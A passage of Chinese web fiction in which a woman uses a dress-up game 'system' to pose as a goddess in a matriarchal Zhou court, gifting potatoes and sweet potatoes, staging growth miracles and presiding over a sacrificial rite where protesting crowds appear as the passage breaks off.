那位宫里的神女娘娘说要有天灾,于是天灾真的来了,可见她是位真神。
那么真神说她们是女娲按着自己的样子造的,是被娲皇眷顾、恩赐的,也必然是真的。而当今圣上又对女子多有宽宥,她们自当去按照神与皇帝所准许的、自己期望的那样生长。
困于后宅的女人抬起头,望着高高升起的太阳,终于下定决心回房写下和离书。
她要和离,要进女学,这女学圣上早就开办了,她亦向往久矣,只是身边所有人都在说嫁个好人家才是她的归宿,如今已有夫君孩子,生活幸福美满,何必去做这种吃力不讨好的事呢?
可是怎么没人问过她是否觉得幸福?没人问过她想做什么?
岁月在脸上留下抹不去的痕迹,她的年纪大了,外貌已经不年轻了,但她觉得自己的心从未如此年轻有活力过。
坊间医馆里,一女医为病人抓药,有泼皮无赖大声道:“宁治十夫郎,不医一妇人。”
“你们这些女医何曾懂得望闻问切、诊脉抓药?不过仗着妇人无知,哄骗银两罢了!”
女医不语,只是专心写方子。
这样的话她听多了。但不就是因为这样的话多,她才跟着娘学医、给妇人治病的吗?
若无女医,世间女子生病——尤其妇人之症,又该怎么办?
倒是医馆内的一杀猪卖肉的屠妇性子泼辣,端起一旁盆里的脏水就往那无赖身上倒,双手叉腰骂道:
“那无赖!这话你合该去说与皇帝神女听!大周哪一条律法规定女子不可从医?说女子医术就必定差男人一等?”
“反倒是你们这些□□生了二两肉的家伙,那可是神女娘娘认定的天残!不得天眷!你与其关心女子的医术,不如去瞧瞧天灾是否降临到你家门口了!”
她生的膀大腰圆,力气又大,扛起半扇猪不在话下,反观那泼皮尖嘴猴腮,身材矮小,又听她提起“天残”,更是不敢与其争辩。
若是从前他还可说那神女必是假的,可如今真有天灾,他哪里敢多嘴,只得夹着尾巴跑了。
......
宫内宫外俱是风起云涌,神女之所在处却一直平静无波。
姒昭对任何事情都不发表意见,只是会在宫里招猫逗狗刷任务,找姬荣侍寝刷任务和成就,比如【椒房之宠】【盛宠不衰】之类的,或者让姬荣把她的后宫全部阉掉——她已经有女儿了。
且毫无疑问,她的女儿就是周的太子。
至于快乐什么的,又不依靠男人那玩意儿获得。
系统对此表示脑子嗡嗡响,当初觉得棘手要放弃的“打脸男宠”的任务居然就这么完成了,而且宿主她不打脸则已,一打脸就是啪啪连环打,一次性打姬荣后宫的所有男人。
成功收获大批奖励。
嗯,她这一举动成功让前朝男臣开始害怕她也要把他们阉掉,意外达成了新成就【闻风丧胆】【风声鹤唳】,新任务【让皇帝对你的底线一降再降】【踩着底线跳芭蕾】之类的。
对此,姒昭挑眉对系统表示:哼,早晚有天我要拿到“大骟人”之类的称呼,同时让你看看我是怎么让姬荣对我死心塌地毫无底线。
她不仅要踩着姬荣的底线跳芭蕾,还要把底线踩消失。
于是某天清晨,一宫人踏入了帝王的殿宇。
“陛下,神女有请。”
12. 靠换装系统装神明12
姬荣动作一顿。
这是该上朝的时辰……
天子脚步一转,道:“先去见神女。”
开玩笑,那可是神女在召唤她。
上朝什么的先放一放也不打紧。
待进了神女的居所,只见其一袭青衫,长身玉立,黑发仅以竹簪半绾,纵身处繁华宫室也似立于幽林明月之下,浑身仿佛笼罩着盈盈月色,自有一股超凡脱俗的仙人气度。
系统:谁教你这么用光彩照人这个技能的了?这个本来是要用来展现你的美貌、让皇帝觉得你与众不同的啊喂。
姒昭:好用就成。收你的成就去吧,别在这儿耽误我演戏,另外你放心,我保证让皇帝觉得我与众不同。
系统,系统默默地收成就去了。
点开面板,领取刚刚新打出来的成就。
姒昭是个大坏蛋,昨晚喝了奶茶失眠,干脆直接把姬荣叫过来折腾了。
面对系统关于“现在是姬荣上朝时间”的提醒,她表示:那咋了?不管。
于是现在,系统望着【从此君王不早朝】成就心情复杂。
现实里,神女对帝王的目光似有所感,转身望向她时的眼神一如往日,平静无波。
姬荣想起神女自降临起总是保持着这种状态,平静,淡然,不为外物所动。即使是京城中流言纷飞的那段时间,她手持长鞭,呼风唤月,眼底依旧一片淡漠。像深沉的海,只见表面风平浪静,谁也看不透底下是什么样。
她唯一一次的情绪外露,是那日朝堂上嘲讽凡人的瞋痴妄念,愚不可及。
“姬氏女”
神女先她一步开口了。
唤的还是那声熟悉的姬氏女。
青衫随神女的步伐微动,光影变换间似有金色纹路于其上闪烁,纹样也随之变化。
姬荣的目光凝固在那片衣角上,她在想传她前来的意图,是为了什么呢?
为了那日朝堂上所说的话?为了凡人如今的状况?为了天灾?或者是,为了……祭祀。
由于姒昭最初降临的时候说过姬荣该给她一场祭祀,在得到祭祀前她会留在大周,故而在姬荣眼里,神女得到祭祀=神女离开。
虽说此前神女似乎对此表现的兴致缺缺,也从来不提及不追问不催促,姬荣她们也想以此留下她,但如果神明真的要求,真的要离开,她们绝无拖延的余地。
天子在心里默默祈求,这次唤她前来,可千万不要是要求立马给出祭祀啊。
她还希望神女留下帮助她们渡过天灾时期呢。
然而这个世界上有种东西叫墨菲定律,怕什么来什么。
下一秒,神女开口道:
“你们该给我一场祭祀”
姬荣心里一紧。
“神女”
她抬眸望向神女,想要开口说些什么,姒昭却先一步转过身子,抬眼望着远处的风光,只留给人间一个出尘的背影。
“我从前天真顽皮,傲慢自满,仗着老师疼爱,插手了其她神明关于太阳权柄的争夺,与姬氏约定祭祀一事,后好奇人间百态,拨动了女娲宫内的光阴轮,看遍人间上下五千年的事”
她昂首而立,身姿孤高清傲。
“我知人间事,知凡人嗔痴妄念不绝,见过巫的兴衰、王朝更替,对人间没了兴致,于巫山沉眠千年,直到如今苏醒”
听到这里,姬荣已经发现了不对的地方。
从前姒昭在她面前提祭祀,讲的无非是姬氏先祖与巫山神女的缘,是她被选中、需要献上祭祀的原因。
但是如今一听,什么“神明关于太阳权柄的争夺”“拨动光阴轮看遍人间百态后沉睡”“如今又苏醒”,怎么听怎么不对啊。
既然已看遍人间百态,对人失去了兴致,又为何于今日苏醒、踏足红尘?
又为何自言“天真顽皮”“傲慢自满”?
更何况您之前没说的那么细致啊。
关于太阳权柄的事就提过一嘴,没细讲啊。
这事一听就跟神明纷争有关,那跟神明有关的事是凡人能随便知道的吗?
君不见神女之前在朝堂上讲了“女娲造人”,接着就是天灾降临。
这下都讲了神明纷争了……不会神明把这片土地当战场吧?
姬荣感觉自己牙酸。
当年为了皇位浴血奋战、前不久打南蛮都没那么酸过。
姒昭才不管她在想什么,继续照着提前写好的剧本演:
“世间万物讲究因果缘分,我从前傲慢,参不透这个道理,妄自插手权柄争夺,放任凡人登我巫山,知我名讳,供奉祭祀。又拨弄光阴轮,看世间沧海桑田,自觉无碍”
“直到如今回首,方觉早有因果线缠身,不解不行”
“可笑老师从前说我狂妄,我还自觉谦卑”
她转身望向姬荣,身后是万丈光芒作轻纱,为她镀上一层耀眼却不夺目的光:
“如今天庭对人间不满,降下天灾,你身为皇帝,又恰是那射下十一个太阳的姬氏一族之后人,因果线与我相连,难保当年被坏了好事、没能夺得太阳权柄那位不会公报私仇”
“周室与你为一体,我本想着若【她】不掺和此事便作罢,可如今看来,她还记恨我当初插一手的事”
“我于此时苏醒,自巫山来,是为了见一见故人血脉,是讨一场断了千年的祭祀,更是为了了却当初的因果,保你姬氏血脉”
有风来,轻轻吹动那一袭青衣,金色暗纹于光下显现又隐匿,似有游龙现形,更透出神奇。
神女看着帝王,道:
“既如此,姬氏女,给我一场祭祀”
姬荣只觉心潮澎湃。
如果说之前在她的认知理解
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里,祭祀=神女离开,那么此刻听过神女这一番话,她的认知已经被刷新成了:祭祀=和神女绑定。
那位与金乌和太阳神君神女羲和夺权失败的神明因着姬氏的缘故要趁机找大周的麻烦,也是找和大周有因果的巫山神女麻烦,这下子就是两位神明的对战。
而神女站在周一边……
姬荣正在头脑风暴,只觉得神明间的斗争也挺复杂的。
还有金乌一族,她记得在神女讲述的故事里,是姬氏用弓箭射下了太阳,现在该不会其她金乌也来找麻烦吧?
但不管怎么样,她知道周如今可依赖的就是面前的神女。
姒昭走向她,抬起手道:
“赐给你”
姬荣还没反应过来神女要做什么,就听哗啦一声,地上堆满了小丘一样的……植物茎块?那些褐色的、沾着些许细碎泥土的东西,一直堆积到她腰际。
皇帝还没反应过来这是什么,就听姒昭轻飘飘出声:
“此乃红薯土豆,于任意土地里皆可存活,无惧高温干旱或冰霜雨打,亩产千斤,可绝饥馑。”
系统:?!宿主你疯了?讲的什么疯话?
姬荣,姬荣瞪大眼睛,呆在原地。
作为一个人,一个统领着很多人的人,她太明白这东西的重要性了。
于任何土地皆可存活!无惧气候变化!亩产千斤!
那她还怕什么不得民心?怕什么天灾?
她几乎是颤抖着双手去拿神女赐下的宝物,分辨哪个是红薯、哪个是土豆。
然而姒昭再次开口了:
“那是在天庭灵气充裕才能达到的。”
系统:松了口气。
差点以为宿主疯了,刚刚那种不挑土地气候的话都说得出来。
姬荣,姬荣又顿在原地。
她的宝贝……
她听见神女这样说道:
“凡间不比天庭,灵气枯竭,又有天灾降下,在此种植红薯土豆,自然不比天庭。”
“既来到凡间,此物灵气尽失,十不存一,也受时令、气候、土壤变化的约束”
但是她望着神女,也听神女说:
“然其产量亦超凡间许多,加之凡人有凡人的勤劳智慧,将它与凡尘作物一起种植,自能绝饥馑,可渡天灾。”
所以你可千万不能只种它俩哦,不然不小心搞出大周版爱尔兰□□就不好了。同时别忘了摸清该怎么种。
土豆好像喜光、喜冰凉气候,还怕潮湿?红薯倒是耐寒,但吸肥能力强?
嘶,搞不清,不说了,这个等着她换个方式解决,现在先演完眼下这场再说。
于是姒昭保持着高贵飘逸的仙人气度,张口重复了那句话:
“所以祭祀我吧,姬氏女”
“我等这场祭祀,已经上千年之久了”
13. 靠换装系统装神明13
本该种植着各类奇花异草供贵族玩赏的花房内,原本价值千金盛放的花卉藤芷被尽数移栽到别处,负责的宫人侍从也随之换了地方。
如今这块儿地种上的是外表平平无奇的土豆和红薯,侍候它们的是专门司掌农事的官员,外面围着的是宫中禁卫。
可见姬荣对此有多重视。
在被调来照看这些土豆红薯之前陛下就对她们说过这是神女赐下的,亩产千斤。
一听这话,为首的官员撸起袖子就自己冲上去种地了,生怕旁人不懂农事损伤这宝物。
她们太明白这东西的重要性了,即使陛下转告过它们种在凡间灵气已失,产量、适应能力等与在仙界时不能比,但这仍是珍贵的。
姬荣及知晓此事的官员们都在悉心照料红薯土豆,司农部的人直接睡那儿了,姬荣则一天要往那里跑三五趟。
与她们的欢喜不同,系统愁眉不展。
“我说宿主啊,”会发光的团子皱着眉道:“你这能改变什么吗?”
当初姒昭刚完成第一个任务的时候选了【一日三餐】的奖励它不意外,姒昭每餐都选择生的刚从地里抛出来的土豆红薯它初见端倪,最后姒昭把这么多天以来攒下的生土豆红薯抖给姬荣它勉强保持淡定。
——从姒昭利用系统空间里时间静止的功能保鲜这俩玩意儿它就料到了。
但是,
“你这么做有什么用呢?”
系统不明白。
“它们也是需要生长时间的”
要达到培育成熟、试点种植的阶段还要隔好久。而且种庄稼真的不是随便找块儿地扔进去埋上土就能丰收,土质、时令、气候都是要考虑的。
更何况,
“你知道的吧,这玩意儿如果不育种,它会慢慢退化的。”
经过系统监测,虽然目前为止司农部的人做得很好,但是她们未必懂的育种。
也无法立刻让粮食成熟。
可是天灾是不会给她们时间的。
通过之前看到的任务背景里,现在这些小灾小难——和后面的灾难对比——都是洒洒水而已,在这之后会有一小段平静时期,接着会迎来日食。
以日食为界,后面的灾难波及面更广、更可怕。
姒昭淡定道:“我知道。”
“不慌,能搞。”
她翻阅着系统面板,点进了【换装】那一栏,里面有她抽到的和每天疯狂刷新商城买到的各种衣服及其部件。
“找到了。”
系统看见她笑了一下。
莫名让人心惊肉跳。
由于姒昭最近比较闲,一逮到空子就刷成就刷任务,她攒了挺多抽套装次数的。
得益于最近大家都被天灾搞得焦头烂额,姒昭的人设又是神女,虽然有些举动看起来很奇怪,但没人会觉得“这人怎么这样”,只会觉得“神女此举必有深意”。
系统看着她的目光凝视在那个叫【句芒】的套装上,准确来讲,姒昭其实没有抽到完整的【句芒】套装,毕竟换装游戏里抽卡真不是你十抽下去就能抽齐一整套的,尤其姒昭不是欧洲人。
但是她抽数多,而且抽到衣服了。
底妆啊什么的都不愁,一般情况下衣服才是最重要的,抽到衣服万事大吉。
句芒,木官之神,司掌春天、生命、农事。
虽然她们是换装系统,不可能真的给予世界春天,但靠着套装的力量搞点事儿并不难。
“而且,说过很多次啦,换装游戏里各部件是可以叠加的啦”
姒昭点开[饰品]——[特殊]——[手持物]那一栏,换上了某样东西。
系统发出尖锐的爆鸣声:“这种东西居然是真的存在、可以使用的吗?”
姒昭微笑:“你对换装模板一无所知。”
她无视噪音,换好衣服,向着红薯土豆进军。
系统:问题是它也是初出茅庐的新统啊!而且要在那么短的时间里得到这些衣服并拿来试错也不是件容易事好吗?
谁会像她这样嚣张地在那么短的时间里疯狂刷任务刷成就啊!
*
今日培育着神赐之物的殿内来了新客。
那赐下神种的神女,第一次踏足了这里。
“神女”
她们颇为惊慌地下拜,第一次和神明如此近距离接触,难免让人不知所措。
而且,神女的衣服……有人用余光去看,眼里有止不住的惊奇。
神女此时的模样不是传扬最广的半人半兽,也并非如宫人所言那般或飘逸或华丽或简约或庄重,与凡人区别不大。
神明从眼前走过,她们看见她赤裸着脚和小腿,裙摆的设计并不规则,前面及膝后面迤地,飘逸轻盈。
浅淡的青和白交织勾勒出衣裳的模样,行走间又似乎有浅金的枝桠在其上生根发芽,于转瞬间走过春夏秋冬,盛放凋零,最终归于青白之中,再抬眼望去,又有新生的幼芽。
见证并转瞬走过生命的一生。
那宫人闭了闭眼再睁开,那明明只是衣服,没有生长又凋零的植物。
反倒是神女的小腿上缠绕着真切、鲜活的花枝藤蔓,似乎感应到有人在看,那花苞骤然盛放,一旁的绿叶也朝她们晃动了两下,像在挥手。
“可惜了,没抽到外套”
系统观察到她们的反应,有些遗憾地表示。
裙子和腿饰是很漂亮啦,但如果真的想弄出和【林野迹】类似的效果,在套装【句芒】里最重要的其实是外套。
因为那件外套是宽大而美观的翅膀。
《山海经·海外东经》说:“东方句芒,鸟身人面,乘两龙。”
换装模板里的句芒套装的设计也参考了这个形象,并且在设计成羽翼模样的外套上花费了很大的心思,使其外表呈现出淡雅清新的浅碧色,又使用特殊染料和材料,让它在太阳光线下自由变换色彩。
不过最重要的是,得益于换装系统神奇的力量,这个部件上身后就像穿着者本身就长着翅膀而不是人类的手臂一样,看起来不会有任何的怪异不和谐。
可以使人整体看起来温和又强大,带着春天的生命气息,是和【林野迹】看起来完全不同的慈悲春之神。
姒昭没管系统的想法,她走到为首的官员面前:
“所有的红薯土豆都种在这里吗?”
司农部部长是个黑发已染霜白的妇女,她朝姒昭施了一礼:
“回神女的话,是的。”
她们连夜把原本的花草都搬走并处理好了这里的一切,松土施肥,种上了神种,并日夜照看。
姒昭点头:“很好,你们可以离开了,这里先交给我。”
在场的人或有疑问,但都恭恭敬敬地退下来。
见人都走了,姒昭表情严肃,对系统道:“现在,就是我们大显身手的时机了。”
系统无奈:“是啊,我们要开始种菜。”
姒昭:“种菜怎么了?我这不是普通的种菜,我这是神迹。”
可不是嘛,能让这些植物在短短几十秒内生长成熟,就是神迹。
神女一本正经地扫视过眼前的土地,然后发动套装自带技能:【万木春】。
转瞬间里面的土豆红薯冒出新芽,幼苗出土,现蕾,急剧拔高,分枝扩展,然后开花结果。
就像【林野迹】作为稀有套装附带“初次出场自带迷雾效果”、而且除去提升魅力之外体魄敏捷也有相应的提升一样,其她稀有套装也有。
【句芒】的附加能力就是“初次出场可使用技能[万木春]一次”,植物亲和力提升,同时附带能力解释。
[万木春]:促进植物生长过程。
当然,这也是有范围限制的。
得益于姒昭每天信息轰炸主神客服,提交bug,询问关于“技能万木春究竟能同时作用在多少株植物上”这个问题,最终主神那边给出了精确的数据,让她能按照数据给出红薯土豆,再来催熟它们。
除此之外,还有……
“宿主,皇帝来了。”
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检测到姬荣靠近,系统连忙提醒到。
姒昭端正仪态,走出这里,迎面撞上了闻讯而来的姬荣。
对于姬荣而言,神种是重要的,神女更是,两种加在一起,她自然不可能不亲自来。
映入眼帘的是神女不同于往日的衣裳,一样潇洒肆意、不拘泥凡尘俗礼的风格,却给人完全不同的感觉。
今日的神女看起来比以往更加温和仁慈,感觉浑身都透着生命的气息,清凌凌的眼望过来时似乎带着某种悲悯。
但很快姬荣就注意到了神女身后的异样,那里原本是培植孕育土豆红薯的土壤,现在,怎么好像远远望过去,和以前看见的不太一样?
若非面前站着的是神女,她们必须先和神女见礼,早冲过去看看了。
“神女今日怎有兴致来此?”
姬荣友好的问候。
说罢她便看见神女抬手,递上了一个透明的、仿佛盛满了整个夏日苍翠之色的瓶子。
她连忙接过,就听神女道:
“这是丰收的奇迹。”
姬荣,姬荣瞳孔地震。
神女淡然地撩起一缕黑发别在耳后,语气依旧云淡风轻:
“我给你两个奇迹,一个是关于红薯土豆的成熟,一个在你手中,与谷物相关。”
“第一个就在殿内,由我直接赐予,第二个的选择权与使用权则交在你手中,要用在哪里、让何种作物丰收,都随你。”
说着,她直直望向姬荣:
“不过我要提醒一点,两个奇迹皆因我与周的因果而诞生,为解天灾之苦楚而存在,你也必须把它用来解天灾下黎民百姓之苦,且第二个奇迹不许叠加在第一个奇迹上,否则定会适得其反。”
翻译:只准拿来增加粮食产量,同时不准再用在红薯土豆上。
她真的很怕她们因为红薯土豆好种+叶子也能吃+产量不错就只种这两样,甚至替换掉小麦水稻,在她学过的历史里已经有血的教训了。
她继续道:“等你决定好把它用在哪里后,挑出一万五千零三百二十四颗你所选定作物的种子来,倒入刚好淹没种子的水,再倒入奇迹,浸泡过后,产量就能增长了。”
其实只是女巫套装里的解药稀释一下。
当然,是“狼人杀”里那个女巫,[女巫的解药]:救命灵药,即使你命悬一线也能拉满血条,达到最佳状态。又没说只有人类才可以使用。她直接来个玄幻育种。
其实除了解药还有一瓶毒药,但她暂时没有想毒的人。
至于种子的数据……这个就要感谢系统了。
自从她要求主神那边给出句芒套装技能的具体数值解释后,那边给每个套装都安排上了。
这个“女巫的解药”自然也有,不过比较笼统,要稀释的话还得自己实验,姒昭哪里有足够的材料试验,是系统按照主神客服给的数据算出来的最合适的种子数量。
系统:不谢不谢,主要宿主你刷任务成就的速度和你的服装收集度成正比我才能有实验素材拿来测算啊。
听到神女话语的姬荣呼吸一滞,握紧了手里的瓶子,表示一定会按神女说的做。
那可是奇迹!神女的奇迹!
交代完后,姒昭翩然而去。
至于其她的,当然是交给姬荣她们啦。
归根到底她不是真的神,能做的有限。
而且,姒昭很清楚这算是一个长期工程,要立刻就能见效、能加深巩固神女人设、在这场灾难中起到作用的重头戏,在祭祀典礼上。
*
留在原地、看到成熟的土豆红薯的帝王及官员望着丰收的奇迹,满目震惊。
她们一一检查过那些土豆红薯的质量,俱是饱满肥硕,无一例外。
转瞬丰收,瓜熟蒂落。
这就是奇迹啊。
她们想。
不愧是神仙手段。
姬荣握紧了手上的瓶子:
“随朕来。”
她们还得商议,第二个奇迹用在哪里。
14. 靠换装系统装神明14
近日大周的官员很忙。
先是神女在朝堂的那番话对各处的影响,流言什么的还好,天灾才是重中之重,即使真假未知也该为此好好筹备一番。
接着天灾真的来了,她们不得不感谢之前的忙碌,但纵使如此,这也不是可以简单应付的事,受命之人废寝忘食呕心沥血,头发一把一把地掉,终于把事情办得差不多了。
这个时候呢神女终于愿意出手援周了,神种的成熟和第二个神迹的赐下都是大喜事,加之近来少灾,此前的灾情也处理得差不多了,可祭祀典礼又该提上日程了。
到如今为止这典礼准备了五六个月了,这还是她们第一次操办神明本神在场的祭祀,虽无前例,但负责的女官到底聪慧又认真,按照陛下的吩咐,绝对够隆重。
明亮的殿堂里姬荣心情大好,又有神女相助,也无灾情相关的情报再次传来,或许未来仍有天灾,但相信有神女在,一切都会好的。
她亲自前来神女居所,既谢过神女恩赐,同神女讲她将奇迹用在了何处,也询问有关祭祀的一切。
“......至于第二个奇迹,荣与诸位大臣商讨过后,决定将它用在稻、麦、黍、菽、稷五谷上,都是产量最大、百姓最普遍种植的粮食,尤其是那水稻,选的是平昭将军攻下南蛮后,能一年两熟甚至三熟的稻。”
此时姬荣脸上露出的是真心实意的笑,能增产粮食,这是她听到的最好的消息之一。
“也要在此拜谢神女赐下奇迹,救周于天灾之中。”
她望着姒昭,神情温和又不失帝王的威严:
“祭祀已筹备的差不多了,不知可否请神女挑个黄道吉日?”
姒昭暗暗坐直了身板,心说终于来了!
她剧本里非常关键的一环,那个特殊的日子!
当然,面上她还是一派淡然平静的模样,仿佛随口一说般道:
“那就,六月二十五。”
姬荣应下:“神女所选,必是顶好的日子。”
实际上皇帝心里打算回去找钦天监看看,神明为什么认定这个日子好,她们能否从中学一点点看气运天象的法子,哪怕只有一点皮毛。
姒昭心说日子是特意挑的,黄道吉日是不可能黄道吉日的,希望到时候所有前来观礼的人不要被吓到,不过别慌,有她在,能搞。
系统:就是因为你要搞事才吓人吧?
姒昭屈指一弹:不许说话。
她的手指轻敲了下桌子,望向姬荣:
“对了,我给你的奇迹,还在宫中吧?”
姬荣回道:“在,两份奇迹都归与司农部的人掌管,禁卫看守,绝不会出错。”
事关黎民百姓,大周百年基业,若出问题,九族都不够诛的。
姒昭:“那便先放着,要做什么,待到祭祀之后。”
“到那时青蛇出关,由它给你们讲道。”
说到这里,神女轻轻笑了,是对着友人的那种温和又带着调侃的笑:
“它懂的可多了,日升日落,雨雪风霜,农事上各种作物的习性、给土地增肥粮食增产的方法等,凡间事,均可问它。”
“不过,”神女话锋一转:“它回不回答就是另一回事了。”
可不是博学多才嘛,那可是系统。
但要是涉及到有些这个时代没有的名词……太难解释的话还是算了。
姬荣则是想到原来近几月青蛇不在是在闭关啊。
接着听到神女说青蛇出关后会讲道,不是那种高深的道,是授课一样讲农事,讲怎么种田、怎么种土豆红薯、讲各种作物的习性!
一时间姬荣心中情绪激荡,就听神女道:
“不过前来听讲的人需要筛选。”
姬荣正色道:“神女请讲。”
姒昭:“官员百姓皆可前来听讲,但需注意,女子为先,一女子可带一天残前来听讲,若是女子立了女户,则可带一家人前来。最前面最接近青蛇的位置只允许女子在,所有的一切都需要登记,不允许有假冒者。”
“讲到的内容允许记录,允许朝堂印发成册子张贴传扬到民间,但仍旧是女子优先。”
说到这里,她又思索了一下,补充道:<
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p>“我赐下的奇迹,同样是按这个顺序,立女户、家中有女子上学堂这类优先获得,曾欺侮打杀过女人并在官府留有案底的不给。”
“明白吗?”
姬荣:“谨尊神女吩咐。”
她看得出来,神女真的厌恶天残。
刚好,她和身边亲信也一样。
奇迹的数量就那么多,听道的位置也就那么多,抢不到的话,怪不了别人。
姬荣走后,系统幽幽道:“宿主,你选的那个日子……”
这真的不会吓死人吗。
姒昭耸耸肩:“无所谓啰,反正就算我不选,那天也一样会到来。”
“还不如我拿来做点文章,就跟天灾一样。”
她戳戳系统:
“而且比起这个,我们更应该想想那天要搞的大场面具体该怎么操作吧?”
她打开系统面板,浏览着自己目前抽到加疯狂刷新商城买来的各种衣服。
谁让那个商城一次只能刷出十件衣服,大多都是普通品质不说还会重复。
某些衣服还不能随意使用,是她要留着为以后应对各种天灾准备的。别看现在好像一排平静,似乎灾难已经停止,其实真正恐怖的还在后面。
而她必须在此之前完成祭祀,把剧本逻辑圆回来,再为之后做铺垫。
哎,装神弄鬼也不容易啊。
她看向系统:“好统,记得除了记牢剧本外随机应变哦。”
系统无奈:“知道啦。”
摊上这么一个宿主,还能怎么办呢?
但是其实,宿主做的事也挺酷的。
几乎每件事,都很酷。
除去搭档的身份,它愿意为她做事。
姒昭不知道小系统的心思暗暗发生了变化,她还在看自己得到的奖励和衣服。
嗯,其实能用的并不算多,整套集齐的也没多少,但是没关系的。
姒昭想。
大不了,看她混搭。
她也是会根据衣服的种类改剧本的。
少年给自己比了个加油的手势,斗志满满。
15. 靠换装系统装神明15
祭祀真神的典礼自然极为隆重。
无数的奇珍异宝如流水般被送进神女的居所,又在神女冷淡的口吻中进了姬荣的私库。
“我要这东西有什么用?还不如拿去给你们的皇帝”
神女的目光扫过世间罕见的珍宝像人类掠过顽石,并不觉得有何珍贵之处。
姒昭:其实只是带不走。
人间所有果然皆不在神明眼中。但世人都这样想。
于是她们更努力地布置祭坛,祈愿神明垂青。
汉白玉台阶连接着的庄严祭坛上按规格放置着香草、香炉、各类杯盘祭器,最好的绣娘绣出精美的旗帜环绕城池,华贵的丝绸用以装点此地,香车宝马运送最诚挚的祭品。
姬荣还记得神女曾说过姬氏的祖先献上的礼物,比如海边蚌女最曼妙的舞姿,琼树之内最甘醇的美酒,还有很多很多,无一不充斥着神秘悠远的色彩,像一个古老的梦境。
可无论哪一种,她都难以寻到,更别说献给神女。
那么她只能更加依照着“最好的东西神先享用”这一箴言,献上大周的珍奇。
也许神女会喜欢那纯洁的白色小鹿,也许最国色天香的牡丹能讨神女欢心。
抱着这样的想法,祭坛布置的无比华美。
*
六月二十五,未时,祭祀正式开始。
长长的布匹从皇宫直铺到祭祀的山上,六匹马拉着的华贵礼车载着神女前往祭祀处。
这场祭祀办得声势浩大,皇帝特许百姓也可前来观礼。围观的人群熙熙攘攘,随着马车前进的方向移动。
系统注意到,这里面有许多穿着、举止都大胆的女子。
通往山顶的路铺了台阶,打扫的一尘不染。
直到神女的车驾到来,奇迹开始绽放。
所有人惊讶地看见原本干净整洁到有些空旷的地方绿意开始发芽,无数的藤蔓枝叶攀爬缠绕,顺着马车经过的地方一路生长,又于转瞬间冒出火红的花骨朵,一眨眼就盛开成五彩缤纷的春色满园。每一朵都饱满芬芳,馥郁的香气霸道地充斥着这方天地,为神明献上最芳香的梦。
所有人都被这突如其来的变故震撼,那花开得明艳,香气浓郁,芳华灼灼。
“那是……因神女出现而产生的异象吗?”
“是神明凭空生花的仙术”
人群中有人怔怔地道。
“或许,是百花为神女的祭典献上春天。”
也有人望着满眼芳华,觉得是百花甘愿为祭品。
或许从前会有人觉得是骗人的戏法,但经天灾,谁也不敢明晃晃地说这话。
这位神女真的会降下神罚不说,现在不知天灾是否解除,她们还希望这位神明帮帮她们。
车驾停在了台阶下,负责侍候的女官上前掀起车帘,迎神女下车。
姒昭在系统的提示下知晓花朵已全部盛开,一切套装部件都按指令放到了该放的地方,无差错。
系统同时还不忘提醒:请宿主注意,还有三十秒到达目的地。
姒昭:收到。
绝对摆好姿势端正仪态。
于是众人便看见,饰以山河日月、飞禽走兽纹样的华丽车驾上,缓步走出落于人间的月亮。
神女身着银月似的白衣,层层叠叠的绸缎交织出动人的漂亮,裸露的肩颈小臂上装饰着造型精致的银环,白皙的腰肢上绘着流畅潇洒的图纹,在阳光下闪着耀眼的银光,每一笔都如河流般潺潺奔涌。
下身的裙摆形如盛放的花,又像河流自发汇聚做她的衣,色泽质感宛若山间银泉汩汩流淌,行走间露出的小腿是青松拨开瀑布赴一场与阳光的约。
更不用说那随风飘扬的批帛为神明添上的肆意逍遥,像隼的羽翼,助她直击长空。
神明是如此耀眼,在场所有人的目光都不自觉追随她,却又碍于这样的打扮过于大胆奔放而羞赧,她们此前未曾见过有人露出肩颈臂膀,又于裙裾间露出腿,赤裸着双足行走于世,因而在看向她时目光闪躲。
直到她们注视着神来到台阶前——盛放的花是如此美丽,却也因其过于繁茂,挡住了她人前进的步伐。
姬荣望着神女的身影,心中忍不住皱眉,若是强行踏上去,必定落得形容狼狈。帝王正欲派人前去为神女开路,却见神女微微抬手。
所有人都震撼地忘记了呼吸。
像是破开顽石生长出的苍劲青松,青蛇于云雾中现身,顷刻便生出须爪,化而为龙形,驮着神女落在了高高的祭坛之上。
神女安稳落地,那青龙也不离开,只如飘飞的丝带般盘旋于神女身后,忠诚地护卫着主人。
云从龙,风从虎。青龙驾着云雾盘旋天际,身形硕大,威严赫赫。
“那是……龙?”
有人不可置信地开口。
作为无数人心中神圣高贵的图腾,家喻户晓的神兽,龙的出场自然是震撼人心的。
更别提那庞大的身体,若非有神女在,她们知晓龙不会伤人,怕是会如白蛇传中许仙一般被吓倒。
百姓谈论着龙与神女的关系,难道那龙是神女的坐骑?是她的灵宠?亦或是前来贺喜、参与祭典的友人?
知识渊博的朝臣学者则皱着眉头,龙的形象她们很熟悉,与上方那青龙似乎有区别,又或许……她们所知不过是凡人的臆想?
见过青蛇的人则是陷入了迷惘,那青龙瞧着与青蛇相似,可,不该是蛇吗?
望着台下人的情感思绪皆因祭祀与神迹而动,站在高处的姒昭在心中道:
“她们好像很激动啊?”
“希望等会儿不要被吓到”
盘踞后方的系统叹气,是希望她们不要觉得你是祸害才好吧。
不过不管怎样,它都会站在姒昭一边。
青龙身上的每一块鳞片都闪闪发亮,流光溢彩。它欢快地盘旋于神女周身庆贺这一场朝拜,身影如绫罗飞舞,山峦起伏,最终又隐匿于云海之中。
姬荣穿着祭服,庄重而威严,从另一侧的台阶拾级而上来到了姒昭面前。
她以祭祀之礼下拜,献上祭品,口中称颂神女的恩德:
“凡人愚钝,冒犯母神娲皇而不自知,天罚降世而不知祸患源何,幸得神女慈悲,怜悯世人,临大周而赐神恩,荣感激不尽,必永世举国供奉”
她说的情真意切,姒昭长身玉立,好似玉铸成的像:
“这是我的因果,该由我来了结”
这话说的不近
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人情,可神女受了这礼,那就足以让所有人把悬着的心放回肚子里。
接着,姬荣面向台下的百官及黔首,讲述了神女赐下奇迹之事,也讲明青蛇道君将于凡间讲道,无论是达官贵人还是平民百姓皆可前来听道,只是必须遵守神女定下的规矩。
接着,由专门的官员讲明神女定下的规则。
下面肉眼可见地乱了。
前来观礼的有女有男,男人怎么可能接受自己被贬斥到这个地步。
即使之前已有娲皇造人之言,可天灾是所有人都要受着的,像今天一样直白粗暴地把他们剥离在利益之外还是头一遭。
人群中逐渐传出夹杂着疑惑愤怒的声音:
“凭什么?”
“我们并没有做错任何事”
“女人怎么可以立女户做一家之主”
“这不是乱套了吗”
“那神女……”
